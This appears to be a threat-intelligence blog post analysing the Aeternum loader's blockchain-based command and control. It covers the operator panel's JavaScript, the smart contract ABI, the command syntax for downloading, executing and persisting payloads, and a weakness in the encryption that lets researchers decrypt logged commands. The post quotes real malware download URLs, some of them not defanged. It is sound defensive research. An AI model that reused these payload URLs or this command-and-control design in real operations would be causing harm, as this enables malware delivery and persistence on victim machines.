In a recent CtrlAltIntel investigation into ErrTraffic, we spotted ads for “Aeternum C2 BotNet Loader” - a loader whose operators publish commands to Polygon smart contracts instead of a traditional C2 server. That design removes the need for attacker-owned public infrastructure, but it also makes command traffic globally observable on-chain.

In this post we:

• Show how an exposed operator panel revealed the full contract/crypto implementation
• Break down the smart contract ABI and C2 command format
• Explain and exploit core weaknesses in order to decrypt all Aeternum loader commands

Getting the Panel

We mentioned that you don’t need to configure the C2 server panel to be public facing, and actually, it’s a very bad idea to do this. The C2 panel is implemented as a Next.js web application, which we found one exposed on hXXp://23.94.145[.]192:3000/:

After we found this (initially on Censys <3), we checked the source-code to discover the Polygon smart-contract & C2 source-code was exposed publicly:

This REALLY helped understand how the C2 protocol worked, as at this point in time we didn’t have a build, and the build itself was hard (for me) to reverse.

We do think it’s cool how the C2 over blockchain worked, so we want to take the time to break down the surrounding concepts.

Command, Control & Crypto (C3)

Looking at the JavaScript source it was clear C2 commands were sent to victims via a Polygon “smart contract”. Think of a smart contract as a tiny program that lives forever on the internet, hosted by nobody and everyone at once. It’s stored across a decentralised network of thousands of computers (the Polygon blockchain network). Once deployed, it cannot be deleted or shut down. The program will exist forever at a specific address like 0x7A3B...9F3d.

The panel will also allow operators to deploy smart contracts to the Polygon blockchain. These smart contracts contain a function which is called by the malware, via the Polygon RPC, that will return the encrypted command that is decrypted and ran on victim machines.

Unlocking the panel

When you first view the panel, you’ll be asked for a Polygon private key and told “Your key will be encrypted with AES-256-GCM”.

We can validate this is the case, although it is just encrypted and stored with the browsers local storage. At no point does the private key leave the browser!

static async encryptPrivateKey(e, a) {              
    try {
        let t = new TextEncoder().encode(e),
            s = new Uint8Array(16),
            r = localStorage.getItem(this.SALT_KEY + "_" + a);
        r ? s = new Uint8Array(JSON.parse(r)) : (crypto.getRandomValues(s), localStorage.setItem(this.SALT_KEY + "_" + a, JSON.stringify(Array.from(s))));
        let c = navigator.userAgent + navigator.language + screen.colorDepth,  // "Unique" user identifier
            l = await this.deriveKey(a + c, s),                                // AES key derived using the above "Unique" user identifier 
            n = new Uint8Array(12);
        crypto.getRandomValues(n);
        let o = await crypto.subtle.encrypt({
                name: "AES-GCM",
                iv: n
            }, l, t),
            i = {
                iv: Array.from(n),
                data: Array.from(new Uint8Array(o))
            };
        localStorage.setItem(this.STORAGE_KEY + "_" + a, JSON.stringify(i))   // Stored locally 
//[...REDACTED...]

This encryptPrivateKey() function is later called after the user provides their private key, and the Ethers.js library is used to create a new wallet, derive public addresses and check whether the provided keys were valid.

let tg = async () => {
    if (!em) return p.oR.error("Enter key");  // User input, em = private key
    ex(!0);
    try {
        eY.setEncryptionKey(em);         
        let e = new i.FR(en),               // RPC provider, en = https://polygon-rpc.com (or some other)
            a = new x.u(em, e),            // New wallet created using Ethers.js x.u = Wallet() 
            t = await a.getAddress();      // Derive public address from private key 

        await R.encryptPrivateKey(em, t), M(t), U(!0), await tm(t);  // Encrypt private key 
        let s = (await e.getNetwork()).chainId.toString(16);          // Attempt to use private key to connect 
        P("0x".concat(s)), ef(""), ed(!1), p.oR.success("Connected securely")
    } catch (e) {
        console.error("Connection error:", e), p.oR.error("Invalid key")
    } finally {
        ex(!1)
    }
}

If successful, you unlock the panel where you can see the features and gain further insight than just reading the source:

Smart Contract Analysis

We mentioned earlier that smart contracts are programs that live on the internet. Like all programs, smart contracts are also written in programming languages. Solidity is a programming language used for developing smart contracts that run on Polygon.

Within the JavaScript we saw Solidity compiled bytecode for the smart contract to run on Ethereum Virtual Machine (EVM), which has been uploaded to our Github:

To create a smart contract, the function u.P() maps to ethers.ContractFactory(). This takes in an ABI, the bytecode and a signer (derived from user submitted private key) to create a ContractFactory object stored as the variable s, which is used to deploy this contract using s.deploy().

As bytecode is not readable, an Application Binary Interface (ABI) is used to expose the low-level smart contract’s functions and make them accessible from a high-level programming language like JavaScript. We can find this hardcoded within the source exposing the functionality of smart contract:

1. Constructor - defines a required initialisation string, initialDomain. This is actually an encrypted C2 command
2. Event - DomainUpdated, the contract logs every change to the stored string (encrypted C2 command)
3. Read-only function - admin(), the contract has a single privileged address which is publicly readable
4. Read-only function - getDomain(), the contract stores one string value which is publicly readable (encrypted C2 command)
5. State-changing function - updateDomain(), allows operator to replace stored string (encrypted C2 command)

Commands

The C2 commands decrypted have 2 main flags, all or hwid. If the flag command is all, Aeternum loader will proceed running the command regardless. If hwid, it’ll only run if the provided hwid value matches a unique host ID generated by taking the MD5 hash of the C:-drive serial number.

• all - run on all endpoints
• hwid - run on specific endpoint

All C2 commands will contain a URL which will host the payload Aeternum Loader will download. There are options for command-line arguments, establishing persistence and making “ping” checks via HTTP requests.

• hwid:fca8bdd1134497619285f4f9aba60817:url:<URL> - Execute payload on URL on specific host

• all:url:<URL> - Execute payload on URL

• all:args:<ARGS>:url:<URL> - Execute payload on URL

• all:savestartupname:<NAME>:url:<URL> - Execute payload on URL + establish persistence

• all:savestartupname:<NAME>:args:<ARGS>:url:<URL> - Execute payload on URL w. command-line arguments + establish persistence

• all:ping:url:<URL> - Make call-back HTTP request to get IPs

Aeternum Loader will decrypt and parse these C2 commands, initially checking for all or hwid flags. The file extension of the file within the URL is used to decide what “path” to take within the malware execution pattern. Aeternum Loader will reflectively load all DLLs within memory, with other file extensions being written to disk.

Decryption

The C2 commands (e.g. all:ping:url:<URL>) are stored on the Blockchain encrypted. From the panel source, C2 commands are sent to the blockchain stored AES-GCM encrypted, with a PBKDF2 key derived from the contract address:

static async deriveKey(e, a) {
let t = new TextEncoder().encode(e),
    s = await crypto.subtle.importKey("raw", t, "PBKDF2", !1, ["deriveKey"]);
return crypto.subtle.deriveKey({
    name: "PBKDF2",
    salt: a.buffer,
    iterations: 1e5,
    hash: "SHA-256"
}, s, {
    name: "AES-GCM",
    length: 256
}, !1, ["encrypt", "decrypt"])
}  

The format of encrypted C2 commands are as follows. The key is derived using a PBKDF2 algorithm with both the salt AND & password set to the contract address:

AES key = PBKDF2( 100,000 iterations + salt & password = lowercase(contract_address) )

hex(base64(IV):base64(AES encrypted data))  

This means, from the contract address alone, it’s possible to completely decrypt all commands that have been sent to that particular C2 channel.

Blockchain Analysis

In the second blog, we reverse a build of Aeternum Loader - directly from LenAI themselves, eventually extracting the contract address 0x4d70C3393C5d9EC325Edf8b3f289cFA9777e64B0. We can use Polygon scan to view the 13 transactions surrounding this smart contract:

Each transaction corresponds to a “Update Domain” event, which are triggered when the updateDomain() function is called. All of these were associated with the contracts creator, 0xcaf2c54e400437da717cf215181b170f65187abf. This is the Polygon address used by LenAI. Looking on the “events” tab we can see a historical log of all C2 commands for this specific smart contract:

Each of these are AES-GCM encrypted with a key that is derived from the contract address. We can decode each of these commands to plaintext using this decryption algorithm:

Pivoting

We’ve identified 1 smart contract, 0x4d70C3393C5d9EC325Edf8b3f289cFA9777e64B0, that has insecure encryption implementation that could allow dumping of all plaintext commands ever sent to the C2. If we can identify additional smart contracts on the blockchain, that share identical bytecode - they could also be malicious and storing C2 commands.

On 13/02/2026, Polygonscan displayed 400 addresses hosting this identical smart contract bytecode:

Each of these could potentially be malicious and be abused, although checking manually is tiresome, and most of the contract addresses have no activity. We can leverage Etherscan.io’s free API to automate pulling the event logs for each address (I was able to extract 394). We can also attempt to manually decrypt using the insecure encryption implementation we identified.

Decrypting TA comms :)

Currently, we have a list of 394 smart contract addresses that contain identical bytecode. We’ve seen 1 case where this has been abused. In order to scale up analysis, we can attempt to retrieve the following information from each of these addresses:

• Address of smart contract creator - Use Etherscan API function getcontractcreation from module contract
• Timestamped event log - Use Etherscan API function getLogs from module logs

Whenever using the Etherscan API, we have to specify the relevant chainid for Polygon mainnet - 137.

Provide an Etherscan API key (free works fine), and either a contract address or list of them, using this C2 dumper script to automatically attempt to dump the logs:

python dump_blockchain_c2.py --api-key [ETHER] --contracts-file contract_addresses.txt

Not all data is following the same AES-GCM encryption scheme we observed. Some are just URLs in plaintext (we’ll get to these) and other examples use a different encoding or encryption scheme altogether. From Polygonscan I extracted a list of 394 smart contract addresses, only 81 had logs.

Additionally, only of these 37 contracts could be decrypted using the AES-GCM algorithm. These are 37 individual Aeternum Loader C2 channels that have commands exposed. From these 37 C2 channels, we could successfully decode 209 plaintext C2 commands sent from 2025-10-26 to 2026-02-12.

Many of these commands relate to testing or grabbing IPs via the ping functionality, but we also saw attempts to deploy malware:

• all:url:hXXps://github[.]com/caldop/test/raw/refs/heads/main/Logs.exe
• all:url:hXXps://l.station307[.]com/7JjDE5knnozgYoubgCLxsk/rat1411empty.exe
• hwid:fda3522fa3994a2c:url:https://github.com/caldop/test/raw/refs/heads/main/rat1411empty.exe
• hwid:fda3522fa3994a2c:url:https://l.station307.com/J12VDRxm1rpS2SPZwmoSK8/Logs.exe

We wanted to investigate the creators of the smart contract. These could potentially be threat actors who have bought Aeternum Loader, or LenAI themselves. The creator address belonging to LenAI, 0xcaf2c54e400437da717cf215181b170f65187abf, was actually the most prolific creator - successfully deploying 32 contracts and sending 94 commands. Other addresses may also be LenAI - it’s just the 0xcaf2...7abf is the only confirmed case so far from the malware they gave us.

All Contract Creators

The second most active address, 0x6e3c…e49b, funded by 0x8f22…a3e6 on 2025-12-06, created 22 smart contracts from 2025-12-06 11:52:09AM - 11:54:57AM. Looking at the command-log, encrypted commands were sent from 2025-12-06 12:14:15 UTC to 14:46:29 UTC - using an unknown encryption scheme (waiting to be cracked, have fun!):

Active Smart Contracts

The smart contract, 0x8736…f9f4, has received the most unique commands:

ErrTraffic/ClickFix

Since 31/01/2026, LenAI’s Polygon address, 0xcaf2…7abf, has created over 20 smart contracts that host domains that are used in ErrTraffic/ClickFix campaigns:

The ErrTraffic/ClickFix activity is not the subject of this blog, although we wanted to highlight the same smart contract bytecode was used for both. This is because the contract had a “string hosting” function, and it is the threat actors choice if data is encrypted before being uploaded. Notably, we also saw the same Polygon address responsible for creating both contracts for ErrTraffic and Aeternum Loader. This is expected as LenAI developed both of these.

Conclusion

Aeternum’s “C2 over blockchain” is a clever resilience play and also makes nerds like me happy. However, that resilience comes with a tradeoff defenders can exploit. Contracts, transactions and event logs are public, and in Aeternum’s case the encryption implementation meant a contract address was enough to reconstruct historical command activity for a particular smart contract. Once a contract is known, researchers can look back historically or monitor for updates in real time. Additionally, we demonstrated how pivoting on contract bytecode can lead to the discovery of more potential C2 targets.

The hardest part of this research was getting the first contract address. In the next blog, we will walk through how we obtained a real Aeternum Loader build, unpacked and reversed it, extracted the embedded Polygon contract address, and validated the on-chain polling + execution chain end-to-end.

IOCs

We have uploaded the complete dump of commands timestamped to our Github.